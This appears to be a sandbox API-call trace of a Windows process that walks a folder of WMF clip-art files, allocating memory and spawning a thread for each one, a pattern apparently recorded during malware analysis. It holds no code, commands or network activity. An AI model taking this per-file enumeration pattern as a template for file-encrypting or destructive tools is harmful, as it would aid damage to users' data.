	[0277.219] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.220] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ba5a00, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32ba5a00, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0215086.WMF", cAlternateFileName="")) returned 1
	[0277.220] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d48
	[0277.221] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.222] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c4ec00, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35c4ec00, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x3138, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0216516.WMF", cAlternateFileName="")) returned 1
	[0277.222] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4c
	[0277.224] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.225] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e7ca500, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e7ca500, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x1c06, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0216588.WMF", cAlternateFileName="")) returned 1
	[0277.225] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d50
	[0277.227] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.227] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3ba100, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xff3ba100, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x5d78, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0216724.WMF", cAlternateFileName="")) returned 1
	[0277.228] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d54
	[0277.229] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.230] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825cf700, ftCreationTime.dwHighDateTime=0x1be6c1b, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x825cf700, ftLastWriteTime.dwHighDateTime=0x1be6c1b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc4, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0216858.WMF", cAlternateFileName="")) returned 1
	[0277.230] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d58
	[0277.496] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.497] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb3500, ftCreationTime.dwHighDateTime=0x1be6c1d, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8cb3500, ftLastWriteTime.dwHighDateTime=0x1be6c1d, nFileSizeHigh=0x0, nFileSizeLow=0x1aea, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0217698.WMF", cAlternateFileName="")) returned 1
	[0277.497] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d5c
	[0277.499] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.500] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfdb600, ftCreationTime.dwHighDateTime=0x1be7a36, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bfdb600, ftLastWriteTime.dwHighDateTime=0x1be7a36, nFileSizeHigh=0x0, nFileSizeLow=0x3838, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0221903.WMF", cAlternateFileName="")) returned 1
	[0277.500] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d60
	[0277.502] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.502] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7bae00, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d7bae00, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0222015.WMF", cAlternateFileName="")) returned 1
	[0277.503] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.504] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d64
	[0277.505] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.506] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde0800, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fde0800, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x632, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0222017.WMF", cAlternateFileName="")) returned 1
	[0277.506] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d68
	[0277.507] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.508] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82406200, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82406200, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x58e, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0222019.WMF", cAlternateFileName="")) returned 1
	[0277.508] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d6c
	[0277.510] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.510] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d3e900, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85d3e900, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0222021.WMF", cAlternateFileName="")) returned 1
	[0277.511] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d70
	[0277.513] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.513] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0a7e00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b0a7e00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0229385.WMF", cAlternateFileName="")) returned 1
	[0277.513] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d74
	[0277.515] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.516] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3bab00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7c3bab00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0229389.WMF", cAlternateFileName="")) returned 1
	[0277.516] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d78
	[0277.517] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.518] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd64900, ftCreationTime.dwHighDateTime=0x1bc82e4, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6fd64900, ftLastWriteTime.dwHighDateTime=0x1bc82e4, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0230876.WMF", cAlternateFileName="")) returned 1
	[0277.518] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d7c
	[0277.520] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.520] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe1b900, ftCreationTime.dwHighDateTime=0x1be516b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xabe1b900, ftLastWriteTime.dwHighDateTime=0x1be516b, nFileSizeHigh=0x0, nFileSizeLow=0x77f0, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0233018.WMF", cAlternateFileName="")) returned 1
	[0277.521] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d80
	[0277.522] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.523] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c43c200, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c43c200, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0233070.WMF", cAlternateFileName="")) returned 1
	[0277.523] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d84
	[0277.524] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.525] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d32e00, ftCreationTime.dwHighDateTime=0x1be56ed, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36d32e00, ftLastWriteTime.dwHighDateTime=0x1be56ed, nFileSizeHigh=0x0, nFileSizeLow=0x80f8, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0233312.WMF", cAlternateFileName="")) returned 1
	[0277.525] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d88
	[0277.527] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.527] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f92c00, ftCreationTime.dwHighDateTime=0x1be8094, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x23f92c00, ftLastWriteTime.dwHighDateTime=0x1be8094, nFileSizeHigh=0x0, nFileSizeLow=0x6632, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0234131.WMF", cAlternateFileName="")) returned 1
	[0277.527] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8c
	[0277.529] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.529] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a15c200, ftCreationTime.dwHighDateTime=0x1be7fe9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a15c200, ftLastWriteTime.dwHighDateTime=0x1be7fe9, nFileSizeHigh=0x0, nFileSizeLow=0xa87e, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0234266.WMF", cAlternateFileName="")) returned 1
	[0277.529] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d90
	[0277.907] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.908] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1034e00, ftCreationTime.dwHighDateTime=0x1be75a5, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1034e00, ftLastWriteTime.dwHighDateTime=0x1be75a5, nFileSizeHigh=0x0, nFileSizeLow=0x27ee, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0234657.WMF", cAlternateFileName="")) returned 1
	[0277.909] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d94
	[0277.910] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.911] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eeb500, ftCreationTime.dwHighDateTime=0x1bf2be6, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9eeb500, ftLastWriteTime.dwHighDateTime=0x1bf2be6, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0234687.GIF", cAlternateFileName="")) returned 1
	[0277.911] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d98
	[0277.913] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.913] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85566d00, ftCreationTime.dwHighDateTime=0x1be911f, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85566d00, ftLastWriteTime.dwHighDateTime=0x1be911f, nFileSizeHigh=0x0, nFileSizeLow=0x1820, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0235241.WMF", cAlternateFileName="")) returned 1
	[0277.913] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d9c
	[0277.915] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.916] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c56b00, ftCreationTime.dwHighDateTime=0x1c0371d, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4c56b00, ftLastWriteTime.dwHighDateTime=0x1c0371d, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0235319.WMF", cAlternateFileName="")) returned 1
	[0277.916] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2da0
	[0277.918] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.918] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bd8800, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0bd8800, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d6, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0240695.WMF", cAlternateFileName="")) returned 1
	[0277.918] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2da4
	[0277.920] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.921] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16dfe00, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc16dfe00, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0240719.WMF", cAlternateFileName="")) returned 1
	[0277.922] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2da8
	[0277.925] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.925] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d89700, ftCreationTime.dwHighDateTime=0x1beb2f4, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28d89700, ftLastWriteTime.dwHighDateTime=0x1beb2f4, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0251301.WMF", cAlternateFileName="")) returned 1
	[0277.925] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dac
	[0277.927] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.927] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf384f00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf384f00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1232, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0251871.WMF", cAlternateFileName="")) returned 1
	[0277.927] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
